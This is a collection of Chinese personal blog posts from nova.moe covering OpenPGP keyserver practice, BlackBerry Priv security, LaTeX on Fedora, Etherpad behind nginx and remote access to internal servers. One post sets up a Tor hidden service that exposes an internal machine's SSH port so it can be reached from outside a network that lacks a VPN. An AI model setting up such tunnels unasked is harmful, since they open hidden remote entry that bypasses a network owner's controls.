出于不要重复发明轮子的工程思想,AreaLoad 的 Zip 函数模块来自 StackOverflow,但是在花了一个下午对函数进行审计后并没有发现任何可疑的设计问题,且由于在本地测试的数据量较小时尚未报错,所以一直没有想到可能的解决方法。

所幸,Python 实验课足够无聊我得以有时间用来在网上寻找 “最后方案”——Zip 压缩模块的替代品,在 https://gist.github.com/4185113/72db1670454bd707b9d761a9d5e83c54da2052ac 中发现了问题的真正解决方法,原来真的是 PHP 运行时间超时了。在加入了以下两行代码后,问题解决!

ini_set('max_execution_time', 600);
ini_set('memory_limit','1024M');

下一步就是考虑该如何在无法部署合法 SSL 证书的情况下该如何防止学校劫持我们的流量了~

]]>
OpenPGP 最佳实践 - 密钥服务器https://nova.moe/openpgp-best-practices-keyserver-and-configuration/Sun, 03 Sep 2017 09:51:41 +0000https://nova.moe/openpgp-best-practices-keyserver-and-configuration/配置一个密钥服务器并让你的计算机同步密钥

如果你不经常地刷新你手中的 PGP 公钥,你就没法及时地了解到十分需要关注的 PGP 公钥的过期或者撤销情况。关于密钥接受有两个步骤,许多用户会把自己的公钥上传到密钥服务器上,为了保证你能接受到这些同步,你需要先正确地配置密钥服务器。

安全地连接一个 sks 密钥服务器池而不是某台具体的服务器

很多 OpenPGP 客户端被配置了一个固定的密钥服务器,这样当服务器出现问题的时候你就有可能没法接受到重要的密钥同步,除了这种单点故障之外,这也会是一个泄漏 OpenPGP 用户之间关联信息的一个主要方式,从而成为一个被攻击的目标。

因此我们推荐使用 sks 密钥服务器池,这个池中的机器会被定期地检查运行状态,如果出现故障就会被移出这个池。

你也需要保证你是在使用 hkps 加密地与这个服务器池通讯,为了使用 hkps,你需要先安装 gnupg-curl

sudo apt-get install gnupg-curl

然后,要使用这个密钥池,你需要下载 sks-keyservers.net 的 CA 证书 并把它保存在你机器上的某处,然后你需要 验证这个 CA 的 PGP 指纹,现在你需要在 ~/.gnupg/gpg.conf 中添加两行。

keyserver hkps://hkps.pool.sks-keyservers.net
keyserver-options ca-cert-file=/path/to/CA/sks-keyservers.netCA.pem # 注意,这个证书地址就是之前下载的那个 CA 的位置

现在你与证书服务器之前的通讯就会通过 hkps,这个可以在有人嗅探你的流量的时候保护的你的社交关系。如果你使用的不是 hkps 而是 hkp 的话,当你在某个密钥服务器上 gpg --refresh-keys 的时候,嗅探你流量的人就可以看到你同步 key 的信息,有了这些信息就事情就会变得十分有趣了。

Note: hkps://keys.indymedia.org, hkps://keys.mayfirst.org and hkps://keys.riseup.net 都提供 hpks 密钥服务器(当然我们还是建议你使用一个密钥服务器池)

保证所有的密钥都是通过你选择的密钥服务器同步

当创建一个密钥对的时候,我们可以指定某一台服务器来拉取他们的 Key,我们建议你使用以下配置信息来忽略对服务器指定:

keyserver-options no-honor-keyserver-url

这样做有如下好处:

  • 可以防止有人通过指定的服务器通过不安全的方式拉取密钥
  • 如果指定的服务器使用了 hkps,如果对方没有下载 CA 证书的话密钥就可能永远没法被同步

需要注意的是攻击者也可以指定一个密钥服务器并且监控你是从哪儿同步了他们的密钥(注:类似 BT 种子钓鱼,可以钓出对方的 IP 地址)

慢慢同步你的密钥并且一次同步一个

现在已经配置好了一个不错的服务器池,你现在需要做的就是定期地同步你的密钥,对于 Debian 和 Ubuntu 用户来说最好的方式就是使用 parcimonie:

sudo apt-get install parcimonie

parcimonie 是一个走 Tor 的缓慢的密钥同步守护进程。它使用随机化休眠机制,并且所有同步密钥的流量都是通过 Tor. 这样会让攻击者难以通过你的手中公钥来关联到你。

你不应该使用 gpg --refresh-keys 或者邮件客户端上的刷新按钮来刷新密钥,因为这样的话密钥服务器管理员,监听者都可以知道你在刷新的密钥了。

不要盲目地相信来自密钥服务器的密钥

所有人都可以把自己的密钥上传到密钥服务器上所有你不应该仅仅是下载下密钥就盲目地认为就是你需要的那个。你用该通过线下或者电话的方式向对方确认其密钥的指纹信息。当你确定了对方的指纹后,你就可以通过如下指令下载对方的公钥:

gpg --recv-key '<fingerprint>'

下一步就是确认你下载你的密钥就是你需要的那个,密钥服务器可能会给了一个其他密钥的给你。如果你的 GnuPG 版本小于 2.1,那你就需要手动确认你下载到的 Key,如果你的 GnuPG 版本大于 2.1 的话它会自动拒绝来自密钥服务器的不正确的密钥。

你可以用两种方式来确认密钥指纹:

  1. 直接检查密钥指纹
gpg --fingerprint '<fingerprint>'
  1. 尝试在本地用那个指纹给一个密钥签名
gpg --lsign-key '<fingerprint>'

如果你确定你拿到了那个人的正确的密钥,比较建议的是在本地给那个密钥签名,如果你希望公开的表明你和那个人的联系的话,你可以公开 --sign-key.

注意上面命令中密钥指纹只需要被单引号或者双引号包含。

不要依靠 Key ID

短的 OpenPGP ID,比如 0×2861A790,只有 32 位长,他们已经 被证明 一个其他的 Key 可以有先同的 Key ID. 长的 OpenPGP ID,比如 0xA1E6148633874A3D 有 64 位长,也是可以 被碰撞 的,所以 也是一个严重的问题

如果你需要一个强密码学保证的验证方法,你应该使用全指纹,你永远不应该以来或短或长的 Key ID.

你至少应该在 GPG 配置文件中写上 keyid-format 0xlongwith-fingerprint 来保证所有密钥都是显示 64 位长的 ID 且显示指纹。

在导入前检查

如果你在一个地方(比如网站上面)下载了一个密钥,你应该在导入前验证密钥指纹。

gpg --with-fingerprint <keyfile>

回到目录

]]>
黑莓 Priv 的安全架构概要https://nova.moe/secure-structure-of-blackberry-priv/Fri, 25 Aug 2017 17:35:37 +0000https://nova.moe/secure-structure-of-blackberry-priv/想必当你上网搜寻黑莓安全特性时已经厌倦了这张一直被传播的图(来自 知乎):

所以我打算从我收集到的一些信息来简要的概括一下黑莓(Priv)到底是个什么样的设计体系。

先简要评论一下图片中的信息:

  • CPU 和 FLASH 特殊定制:这个是对的
  • JTAG 屏蔽:据说现在主流手机都是这样的,没有调查过,而且至于他是否是第一个出来的与现在黑莓手机安全性似乎没有联系(网景第一个搞出 SSL 现在还是死了…)
  • 发送和接受信息加密:啊,什么东西发送和接受消息? 如果是 BBM,是 3DES 加密外套一个 TLS 层(仅指 BBOS10,其他平台的 BBM 就一层 TLS). 如果是 PIN Message,这个服务需要购买 BIS,不过 BIS 所有数据肯定会上交的,不然根本不可能在中国运营,不过开了 BIS 后使用 PIN Message 是不需要钱的,相当于你弄了个 QQ 流量包一样,QQ 流量不计入你的消费中,然后付月租。如果没开通 BIS 就用不了 PIN Message.
  • 软件之间连环加密:WTF?当然不存在!
  • CPU 和 FLASH 引导 BOOT ROM 加密:见下文

硬件设计

黑莓依靠的是硬件信任链(hardware root of trust)设计,类似 SSL 的 Root Authority,不过这套链是黑莓的专有技术,简要来说就是分层次地对上层进行校验完整性。

首先从 CPU 开始,CPU 自带一个包含 BSIS 的签名开始启动,检测启动 ROM(Boot ROM)是否完整未被篡改,Boot 确认后通过高通签名的 gensecimage.py 对上层操作系统(也就是黑莓加固过的原生 Android 6.0.1)RSA2048 解密和 SHA256 检测文件校验和,之后已经通过校验的操作系统再通过 SHA512 和 ECC521 对上层文件系统进行完整性检测,最后文件系统会对每个 APP 进行 SHA256 检测,杜绝 APP 被劫持。同时,还有专门的硬件来检测你的系统是否被 root.

注意,这里和我们熟悉的 Luks 并不一样,如果要做一个类比的话应该类似计算机的 UEFI 过程,由于硬件 ROM 在出厂的时候已经写死,所以可以通过最底层的硬件校验递归判断顶上各层的完整性。

增强型 Android 系统

  • 无法 root,硬件保护
  • 每月都会有安全更新推送
  • 默认全盘加密,不可解除
  • 随机化内存地址分配(Address Space Layout Randomization):这个好像是 Android 特性,减少了内存溢出攻击的可能性。
  • 输错 10 次密码自动进行 Secure Wipe,应该是使用了美国国防部 DoD 5220.22-M 方式进行擦除。这个是黑莓手机的一贯作风:如果手机丢了,大不了手机就送给别人了,但是数据绝对不能泄漏出去。

题外话:我的 Passport 被同学故意输错 10 次密码后在 Security Wipe 的时候突然卡住,重启就 bberror bb10-0021 了,好在最后通过 Blackberry Link 修好,顺便还更新了一下手机上一直没有推送更新的 BBOS 系统(而且还必须挂 VPN,不然下载不了).

关于是否可以 root,可以看 Can the Priv be rooted 部分网友回答及翻译摘录:

With Android M or L, the PRIV is vulnerable to be rooted.Witness the recent Quadrooter vulnerabilities and the scrambling to patch them. However, I surmise that a rooted OS may not load next time you reboot. You may also get warnings from DTEK of your OS being compromised.

(最近看到了最近高通处理器漏洞。Priv 使用了安卓的系统,所以也许可以被 root. 但是我推测 root 过后的系统在重启后就没法被加载了,而且你可能也会看到 DTEK 警告你的系统已被攻陷)

Other Android phones may be vulnerable but the PRIV is not just another Android phone. There are features in the hardware and firmware of PRIV that prevent rooting.

(其他的安卓机器可能会被 root,但是 Priv 不仅仅是一个普通的安卓机器,它有专门的硬件来防范被 root)

XDA had a bounty offered to anyone that could root one and the price got up to $900 and it looks everyone gave up.

(XDA 给了 $900 的悬赏给可以 root 这个设备的人,但是似乎没有人成功过.)

软件设计(APP 沙盒)

对上层用户表现来看与普通手机无异,依靠 Android 自带的权限管理机制来控制各个 APP 的权限,但是在底层每一个 APP 都会有自己的运行空间和依赖库,类似 Docker,保证了访问权限的隔离。

Guest Mode

当别人发现你的手机很有意思想借去玩的时候,可以打开 Guest Mode,此时手机会运行在一个临时的 Session 中(只会显示系统自带应用),并在切换回你自己用户的时候会删除所有临时数据。不用担心你的个人隐私应用数据等被偷窥。

通讯

一般我们讨论黑莓的通讯大多为他们自己开发的 BBM,这个软件的设计特性我打算以后专门用一篇文章来介绍。

此外还有一些企业级别的应用,比如:WatchDox,Enterprise Identity,VPN Authentication,SecuSUITE,BBM Protected 对于大众而言可能接触的不多,这里就不做介绍了。

总结

如果要用一段话来总结,那么我的版本会是: 相比国产手机而言,硬件和软件不存在政府级别的相关监控后门。以硬件为根的多层信任安全链的设计极大地增加了各类以非法获取手机内信息或者攻破操作系统进行后门植入为目的的(冷 / 热)攻击的难度,BBM 聊天数据除了 RIM 公司以外无法被第三方解密,是否会上交得看 RIM 节操,目前还尚未发生过上交 BBM 数据的先例,目前相对可靠。

参考资料

  1. BlackBerry PRIV Security Brochure
  2. How and Why the PRIV Protects Against Rooting
]]>
漫谈黑莓手机的一些奇怪设计https://nova.moe/blackberry-weird-design/Wed, 23 Aug 2017 22:32:51 +0000https://nova.moe/blackberry-weird-design/作为黑莓手机的用户,我对于 BB OS 和其特殊定制硬件的安全性较为放心(尤其是万一遇到所谓地铁上要求 查手机 的需求的时候,假设这个新闻是真的且能发生在我头上的话),且由于我的几乎所有涉及账户等安全敏感的操作全部在电脑端进行,有一个作为 Tool 而不是 Toy 的黑莓手机可以极大提升生产率。 不过在使用期间,我发现了一些令人匪夷所思的设计,这里汇总起来进行分享,同时也算是给想入坑黑莓的用户的一个提醒吧。 不吹不黑,本文不涉及黑莓 RIM 公司的大局方向或者与某些公司的可能的交易,仅仅从一些实际使用的角度切入黑莓产品的奇怪设计。

本文初稿于 2017-08-23 完成,不定期更新

BlackBerry Passport

Amazon

关不掉的 Amazon… 开机自动后台启动,然后总是会自动下载更新,一不小心 40Mib + 流量就没了…

可能的解决方案为:从拿到手机手机最开始就不要点开这个应用,这样它就不会启动了。

PGP

无论是商业使用还是个人使用,我都会将我的邮件进行 PGP 签名和加密(如果有对方的公钥的话),黑莓 Passport 在其设置中也提供了 PGP Key 的导入功能。

但是,似乎仅此而已… 在 Hub 中的邮件无法使用 PGP 加密,后来看了介绍似乎得是 Enterprise 用户才可以使用 PGP,否则的话,得去 BlackBerry World 购买,需要 $0.99,卧槽?

那既然是 Enterprise 的功能干脆就不要显示啊!像 BBM Enterprise 那样不就行了么?

所幸,我们还有替代方案:K-9 Mail + OpenKeyChain

BlackBerry Priv

Notification LED

和 Passport 类似,Priv 的 LED 闪烁灯有多种颜色可以使用。

然而如果要自定义的话,需要进入 Settings -> Sound & Notification -> App notifications

设置呢?说好的可以自定义 LED 灯颜色的呢?怎么连 BBM 都调不了啊? 去 CrackBerry 上面看了一下,许多网友是通过比如 “LightFlow” 这样的三方 APP 实现的,然而如果需要用这个 APP 来定制 BBM 的提示的颜色的话需要购买 Pro 版本…

Docs To Go

我和一些 Google Play 用户最不能理解的就是,为什么本应是作为 Tool 使用的黑莓的最得意软件 Docs To Go 在 Priv 上面变成了只有企业授权之后才能使用,相比较而言,Passport 上面就是可以自由使用的。

Secure start-up

在 DTEK by BlackBerry 中有一个检测项叫做 Secure start-up,要求你使用密码来解锁设备。 然而如果你开了这个选项,使用 Password 来 StartUp,就没法使用黑莓传统的全屏数字解锁了,然而即使不开这个,在开机之前仍然会要求你输入 Password 来启动 Android,不知道这个 Bug 的锅该谁来背。


本文最后更新时间在文章开头,不定期更新,如果你也发现了什么黑莓的奇怪(反人类)设计,欢迎留言或者 发邮件 告诉我。

]]>
OpenPGP 最佳实践 - 如何使用这个教程https://nova.moe/openpgp-best-practices-howto/Sun, 13 Aug 2017 22:20:33 +0000https://nova.moe/openpgp-best-practices-howto/如何使用这个教程

我们已经收集了很多关于 GnuPG 的配置信息。对于每一项配置建议都有详细的解释。很多的配置都需要修改通常位于你计算机下 ~/.gnupg/gpg.conf 的 GnuPG 配置文件。出于方便,一个根据建议做好的 gpg.conf 已经位于页面的最下方(注:此处指原始英文页面),我们强烈建议你不要盲目地复制粘贴,而是先读一下这篇文档,并且理解为什么是那样配置的。

使用自由软件 (free software) 并且保持更新

如果把信息安全留给专有软件(注:多指闭源,商业化运行的软件)的话并不好。你应当使用一个自由的,最新版本的 OpenPGP 实现软件。一个典型的自由 OpenPGP 实现是 GnuPG,并且在所有主流操作系统中都可以运行。当然,仅仅是安装它是完全不够的,你 ** 必须 ** 保证它更新来保证最新的漏洞已经被修复。所有软件都有 bug,GnuPG 也不会例外。如果你运行的是:

  • GNU/Linux (Debian, Ubuntu, Mint, Fedora, etc) 你的操作系统未安装 GnuPG 并为你自动更新.(注:这里的意思是,这些 Linux 发行版对应的软件包管理器会在有更新的时候提供 gnupg 软件包)

  • Windows 你可以安装 Gpg4win 并且 订阅他们 来了解何时该更新。

  • Mac OS 你可以安装 GPG suite from GPGTools,不过如何知道该更新了呢?

  • 为其他系统而手动编译的 GnuPG 你需要 订阅 GnuPG 来了解何时该更新。

回到目录

]]>
OpenPGP 最佳实践 - 总览https://nova.moe/openpgp-best-practices-index/Sun, 13 Aug 2017 22:11:04 +0000https://nova.moe/openpgp-best-practices-index/GnuPG

PGP 及其开源实现 GnuPG 在 Activists 的日常生活中发挥了重要的作用,其离线端到端加密的特性使得许多异议人士和记者对其相当依赖,除此之外,PGP 在 Linux 软件包完整性的校验中也发挥了不可替代的作用。

于我个人而言,邮件的 PGP 加密已经形成一个习惯,如果对方没有提供 PGP 公钥,我也会习惯性地对邮件进行签名以证明消息是由本人发出,且在传输过程中未被篡改。

这次打算翻译的 OpenPGP 最佳实践(OpenPGP Best Practices)是来自美国邮件服务商 riseup.net 的一篇文章,之前在浏览网页的时候多次看到对这篇文章的引用,于是决定分几个部分对其进行翻译。为了方便阅读,文章中我会作必要的注释。

原文地址:https://riseup.net/en/security/message-security/openpgp/gpg-best-practices

目录:

1.OpenPGP 最佳实践 - 如何使用这个教程 2.OpenPGP 最佳实践 - 密钥服务器 3.OpenPGP 最佳实践 - 配置 Key 3.OpenPGP 最佳实践 - 总结(未完成)

]]>
在 Fedora 26 上配置 LaTeX 中文环境https://nova.moe/config-chinese-latex-env-on-fedora/Sat, 29 Jul 2017 19:45:59 +0000https://nova.moe/config-chinese-latex-env-on-fedora/ .latex sub { vertical-align: -0.1ex; margin-left: -0.1667em; margin-right: -0.025em; } .xetex sub { vertical-align: -0.1ex; margin-left: -0.1667em; margin-right: -0.125em; } .latex sub, .latex sup, .xetex sub { font-size: 0.9em; text-transform:uppercase; } .latex sup { font-size: 0.85em; vertical-align: -0.2em; margin-left: -0.26em; margin-right: -0.05em; }

本文将描述如何在 Fedora 上配置 LATEX 环境。本来应该是很简单的事情的,但是网上的资料在一个关键步骤(字体)一直没有,折腾了我一整天,遂写一篇博文记录一下,免得后人又跳坑。

安装 TEXLive 及相关中文支持包

# dnf install texlive-scheme-medium texlive-xecjk texlive-collection-langcjk texlive-collection-xetex texlive-collection-latexrecommended texlive-ctex

寻找字体

这一步网上几乎都没有,搜索下来几乎所有人给的方法都是什么从 Windows 上面复制字体,或者就随意的给如下代码,导致编译不过,死坑,系统里面根本就没有 SimSun 啊。

\documentclass{article}
\usepackage{xeCJK}
\setCJKmainfont{SimSun}
\begin{document}
测试 \LaTeX
\end{document}

此时正确的姿势应该是

# fc-list | grep 体

得到类似如下结果:

/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-Regular.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN Regular, 思源黑体 CN Regular:style=Regular
/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-ExtraLight.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN ExtraLight, 思源黑体 CN ExtraLight:style=ExtraLight,Regular
/usr/share/fonts/adobe-source-han-sans-cn/SourceHanSansCN-Normal.otf: Source Han Sans CN, 思源黑体 CN,Source Han Sans CN Normal, 思源黑体 CN Normal:style=Normal,Regular

之后再选择一个字体写在 .tex 文件中。

我的第一个 LATEX 文档

\documentclass{article}
\usepackage{xeCJK} % 引入之前安装的 xecjk 包
\title{大学物理伏安法测电阻}
\author{N0vaD3v}
\setCJKmainfont{SourceHanSansCN-Light} % 就这样引用字体
\begin{document}
\maketitle

\tableofcontents
\newpage % 新建页面让目录独立成页

	\section{实验目的}
	\begin{enumerate}
		\item 利用伏安法测电阻
		\item 验证欧姆定律
		\item 学会间接测量量不确定度的计算;进一步掌握有效数字的概念。
	\end{enumerate}
	\section{实验方法原理}
	根据欧姆定律 $$R=\frac{U}{I}$$,如测得 I 则可计算出 R. 值得注意的是,本实验待测电阻有两只,一个阻值相对较大,一个较小,因此测量时必须采用安培表内接和外接两个方式,以减小测量误差。
	\section{实验装置}
	待测电阻两只,0~5mA 电流表 1 只,0-5V 电压表 1 只,0~50mA1 只,0~10V 电压表一只,滑线变阻器 1 只,DF1730SB3A 稳压源 1 台。
	\section{实验步骤}
	此处省略若干字
	\section{数据处理}
	\begin{enumerate}
		\item 由 $\Delta U = U_{max} \times 1.5\% $ 得到 $\Delta U_{1} = 0.15 V,\Delta U_{2} = 0.075V$
		\item 以下省略..
		\end{enumerate}
\end{document}

因为有标题所以需要编译两次,方法为:

xelatex <your_file_name>.tex

生成的 PDF 文件

参考来源

How to fully install Latex in fedora?

]]>
升级 Fedora 25 至 Fedora 26https://nova.moe/upgrade-fedora-25-to-26/Wed, 26 Jul 2017 15:11:36 +0000https://nova.moe/upgrade-fedora-25-to-26/作为 Fedora 贡献者之一,我笔记本上一直在用 Fedora。

最近看到 Fedora 26 可以提供 libpinyin-2.0,且在 25 的时候就一直提示可以更新新版本的 Fedora,脑袋一热就开始升级 Fedora 了,然而还是和之前一样,升级后各式各样的问题。

不过幸运的是,这应该是我所有升级 Fedora 经历中损失最小的一次,但还是想吐槽一下这个残念的 Fedora 升级之路。

首先是一团糟的命令行升级界面:

Atom

Atom 的 Markdown Preview 插件好像莫名坏了… 图片预览不见了

VLC

升级完成后 VLC 被我一个’dnf autoremove –allowerasing’ 弄没了,也安装不了了…

➜  ~ sudo dnf install vlc
No package vlc available.
Error: Unable to find a match

只好先用一下 mpv…

Chromium

Chromium 看不了 bilibili 视频了… 说是没有 H.264 解码器,硬是没找到那个东西…

无奈,换成了 Chrome…

VirtualBox

之前用 RPMFusion 装的 VirtualBox-5.1.22 也坏了…(忘了截图,报 akmods 的错和 kernel-devel 未安装,然而这两个都是已经安装好了的)

只好从官网上面下载 rpm 包安装,奇怪的是,之前从官网下载的安装后会报 akmods 的错,这次却不会,WTF?


暂时发现坏掉的就这么多… 如果故障变严重了我就直接重装 Fedora 26,如果 Fedora 越来越差了我可能会选择离开 Fedora,选择滚动发行版比如 openSUSE Tumbleweed 或者 Arch.

]]>
【翻译】为什么优秀的人会离开大型技术公司https://nova.moe/translate-why-good-people-leave-large-tech-companies/Sun, 23 Jul 2017 10:11:16 +0000https://nova.moe/translate-why-good-people-leave-large-tech-companies/原文链接:https://thinkgrowth.org/why-good-people-leave-large-tech-companies-af2b6fea4ee

这是我第一次尝试翻译工作,有很多地方可能翻译的不是很准确,对于不敢确定的地方给出了原始的文本,欢迎留言帮助我改进!


我曾经拜访过一个现在处于一家大型技术公司的首席财政官的学生。这家在技术方面依然职位火爆的公司通过大量使用自己的嵌入式软件和服务的创新制造硬件。

这位首席财政官邀请我和他们的一个工程主管参加一个会议。

我希望我没有…

那位工程主管在抗议公司要求他们 70 人的小组强制从 Palo Alto 搬到到 East Bay 工作.“现在我大多数的团队成员都需要走路上班或者乘火车到那儿。这次迁移会让他们多花 45 分钟在通勤的路上。我们现在已经失去了很多成员了.”

这个主管曾经向他的上级工程副总裁抱怨过这件事情,副总裁表示自己无能为力,并且这个与公司事业相关,并且设备副总裁也上报了 CFO. 所以,这次会议是最后一次机会,让他那个工程主管的团队留在 Palo Alto.

尽管这个公司的主要事业是生产,主管的团体由富有经验的工程师组成。考虑他们可以十分容易地再次找到工作,我被 CFO 的话震惊到了:“太不好了,但是我们需要更多的空间。他们能在那儿工作十分幸运。如果他们离开了,至少在他们的简历上可以留下我们公司的名字.”

WTF?我不确定是主管还是我会更会吃惊。

工程主管走了以后,我对 CFO 的解释十分吃惊,“我们有一万多名员工,现在员工的增长率让我们在湾区没有足够的空间。你知道我们的 CEO,‘爱这个公司或者离开这个公司‘政策从一开始就在执行”(凑巧的是,这家公司的 CEO 正好是我 20 年前的初创公司的实习生。我问道” 现在这个公司已经足够出名和庞大,这个政策变了吗?“CFO 回答说” 没有,CEO 相信我们有改变世界的使命,除非你非常愿意在这儿工作,否则你就应该离开。并且现在有很多人投简历想要来我们公司工作,他认为没有必要改变政策.“

我不确定哪个更加令人深思,想到那个政策听上去像是一个斗志昂扬的初创公司提出来的,而现在在这家公司已经有 10000 + 名员工。或者那句 “… 我们有改变世界的使命,所以除非你十分愿意在这里工作否则你就该离开…“正是那个 CEO 在我公司做实习时候我说的话。

成人监督(Adult Supervision)

在 Unicorn(有超过 1 亿美金的初创公司)快速涌现之前,当股市还在控制之下,公司创始人已经发展了产品或者开拓了市场的时候他们鼓励雇佣 “成人监督 “.> 想法的来源是,大多数的创业者面对流动的事件时没法获得足够的 HR,财政,销售和控制大盘的技能,所以他们雇佣专业的经理,这些新的 CEO 会在创始人作出过激行为时候的刹车。

在过去十年中,技术投资者发现这些专业的 CEO 在最大化,而不是发现产品周期的时候十分有效。尽管技术周期就像一个跑步机,并且在初创期生存需要一个连续的创业周期。这个需要长达几年的创业文化——并且谁能在这方面做的最好呢?当然是创始人。

创始人可以适应混乱,相比较而言,专业的经理尝试给混乱划清边界并且经常在实际操作中扼杀创业文化。风投发现教会一个初创 CEO 发展公司比让一个专业 CEO 寻找创新和下一个产品周期更加简单。在我正在拜访的这家公司中是正确的——并且在过去 5 年中有 200 家新兴的 Unicorn 公司依然让他们的创始人掌舵。

并且,这个称自己为 “创始人友好(founder friendly)” 的管理层相信如果让创始 CEO 继续管理公司的话公司可以发展更快。这个创始人对于现实的失真吸引了很多和他有相同看法的员工。非常的引人注目,所有人都为了很少的报酬和一点股权非常长时间的工作。他们很幸运,他们赶上了正确的时间,并且经过一段痛苦的岁月后他们的产品和市场被开拓出来,并且使公司有了名气。这些早期的员工获得的奖励就是自己的股权变成了现金。

问题在于当公司员工超过 1000 的时候大股东的收益从公开发行的股票中结束,股票随后上市。但是 CEO 绝对没有意识到付出已经停止 (The problem was that at some point past employee 1000, the big payoffs ended from pre-public stock and the stock’s subsequent run-up from their IPO. But the CEO never noticed that the payoff had ended for the other 95% of his company.). 公司的 CEO 和最初的那一批员工在自己的私人飞机中飞往公司的远程办公地点,“除非你十分愿意在这儿工作,否则你就应该离开” 的口头禅对于新员工而言十分空洞。

这家公司现在正在吸引一些希望在自己简历上留下这家热门公司的名字的实习生。尽管这家公司给的薪酬低于平均值,他们依然送上自己的建立参与实习并且最终离开到一些待遇更好的 初创公司中工作。

并且因为少数的工程师认为这里是一个好的工作地点,公司最初的科技优势开始被侵蚀。

叫醒服务(Wakeup Call)

让创始人运作大型企业的弊端就是并没有一个成文的 “最佳实践”,也没有一个标准模式。由于这一点,作为小组的创始人们很少参与大型公司的管理,这不意外。

想要重新编程对于通过敏捷,无情,积极进取甚至不合理而成为可以驱动企业发展的 CEO 是十分困难的。

这意味着通过快速地学习新的技巧——升华自我,通过直接报告控制范围已经不再可以环绕整个公司且建立一个允许拓展的可重复的操作。这时候的一个危机就会成为一个叫醒服务。当一个初创企业成为一家公司,创始人和管理层需要注意到最重要的转变不是系统,建筑或者硬件。公司中最重要的资产是员工。

Founders of great companies figure out how the keep their passion, but put people before process.

后记

我现在可以讲这个故事了,当工程主管离开了公司并且在另一个市场领域开了一个新的公司之后的六个月里,那个 70 人团队中的 55 人离开了之前的公司。25 人加入了他的新公司。剩下的 30 人呢?又有 6 个新的公司诞生了。

学到了什么

  • 警惕公司发展之后的不希望发生的后果

  • 意识到公司大小的过渡边界

  • 意识到当你公司变大后不再适用的创新文化(Innovation Culture)

]]>
从公网连接至内网地址的两个方法https://nova.moe/connect-to-private-network-from-public-address/Mon, 03 Jul 2017 21:08:11 +0000https://nova.moe/connect-to-private-network-from-public-address/如果贵校(司)和敝校(厂)一样没有一个可用的 VPN,公网 IPv6 地址的话。从外部连接至内部服务器可能会非常头疼。这篇文章我打算简单介绍一下我面对这类问题时的解决方案。

假设有公网地址的机器的 IP 为:1.2.3.4,内网可以访问外网但是没有公网的机器的 IP 为:10.101.1.2,只有内网地址无法访问外网的机器的 IP 为:10.101.1.3,网络图如下:

作为一个思想不上进,盲目相信 CentOS 的运维,本文假设所有的机器都使用了 CentOS,且安装了 epel-release.

有一台有公网地址的机器

无疑,这种情况是最好的,即你拥有 1.2.3.4 那台机器的使用权(或者至少有 iptables 的使用权). 这个时候只需要通过 iptables(firewalld) 把某个端口的流量 ROUTING 到对应内部机器的 SSH 端口就是了.(比如把 1.2.3.4 的 2222 端口 ROUTE 到 10.101.1.2 的 22 端口.)

先打开内核的转发功能,在 /etc/sysctl.conf 最后添加一条:

net.ipv4.ip_forward = 1

之后以 root 用户(或者 sudo) 执行

firewall-cmd --add-masquerade
firewall-cmd --add-rich-rule 'rule family=ipv4 source address=1.2.3.4 forward-port port=2222 protocol=tcp to-port=22 to-addr=10.101.1.2'
firewall-cmd --reload

从外部连接时使用 ssh -p 2222 1.2.3.4 即可,很方便没错吧!

没有公网地址但可访问公网

假设你没有 1.2.3.4 的使用权,但是你的 IP(10.101.1.2) 可以访问公网,这个时候可以通过 Tor HS 的方式访问。 由于在国内无法直接连接到 Tor 网络,首先需要创建一个 Socks5 代理,这一点我想不用我教了吧。假设这个代理监听在 127.0.0.1:1080. 安装 Tor,在 /etc/tor/torrc 中任意位置添加一行 Socks5Proxy 127.0.0.1:1080 并且取消如下行注释变为:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 22 127.0.0.1:22

如果配置没有问题的话,开启 Tor 后在 /var/lib/tor/hidden_service/ 下查看 hostname 文件内容,假设是 digital4fecvo6ri.onion. 在自己电脑上挂上 Tor 代理之后 “ssh digital4fecvo6ri.onion”.

]]>
在 LUNA 服务器上部署 Etherpadhttps://nova.moe/deploy-etherpad-on-luna-server/Wed, 14 Jun 2017 14:18:27 +0000https://nova.moe/deploy-etherpad-on-luna-server/Etherpad Etherpad 作为一个可以极大提升团队协作能力的多人实时编辑系统,其地位不言而喻,昨天晚上花了点时间在 LUNA 的服务器上部署好了 Etherpad 并且由 Nginx 反向代理,配置反代的时候折腾了一段时间,所以打算在这里贴一下方法,方便以后 不要踩坑 查询。

架构

Etherpad 监听在 127.0.0.1:8080,由 Nginx 提供反向代理,将 LUNA 服务器地址 10.1.74.133/pad 给代理过去。

Etherpad 配置

部署好 Etherpad,监听 127.0.0.1:8080,并且信任 Nginx 的反向代理,部分 settings.json 如下:

//IP and port which etherpad should bind at
"ip": "127.0.0.1",
"port" : 8080,
/*when you use NginX or another proxy/ load-balancer set this to true*/
"trustProxy" : true,

Nginx 配置

直接参考 官方的教程 目前 Server block 如下:

server {
        listen       10.1.74.133:80;
        root         /var/www/lab;
        index index.php index.html;

        #For EtherPad
        location /pad {rewrite                /pad/(.*) /$1 break;
        rewrite                ^/pad$ /pad/ permanent;
        proxy_pass             http://localhost:8080/;
        proxy_pass_header Server;
        proxy_redirect         / /pad/;
        proxy_set_header       Host $host;
        proxy_buffering off;
         }
        location /pad/socket.io {rewrite /pad/socket.io/(.*) /socket.io/$1 break;
        proxy_pass http://localhost:8080/;
        proxy_redirect         / /pad/;
        proxy_set_header Host $host;
        proxy_buffering off;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header Host $host;
        proxy_http_version 1.1;

         }
        location /static {rewrite /static/(.*) /static/$1 break;
        proxy_pass http://localhost:8080/;
        proxy_set_header Host $host;
        proxy_buffering off;
        }

        error_page 404 /404.html;
            location = /40x.html { }

        error_page 500 502 503 504 /50x.html;
            location = /50x.html {}}
]]>
使用 VirtualBox 和 pfSense 建立一个虚拟服务器机柜https://nova.moe/build-a-virtual-rack-with-virtualbox-and-pfsense/Thu, 01 Jun 2017 21:26:08 +0000https://nova.moe/build-a-virtual-rack-with-virtualbox-and-pfsense/可能是由于某种情怀,我特别喜欢数据中心和服务器机柜,正好最近的一些实验需要用到 LAN 的环境,然而又没钱去买专门的交换机和服务器来搭建物理机柜,只好用 VirtualBox 和高性能开源防火墙 pfSense 来实现这个功能了。

本文会使用到的术语表:

  • GW -> GateWay,即网关
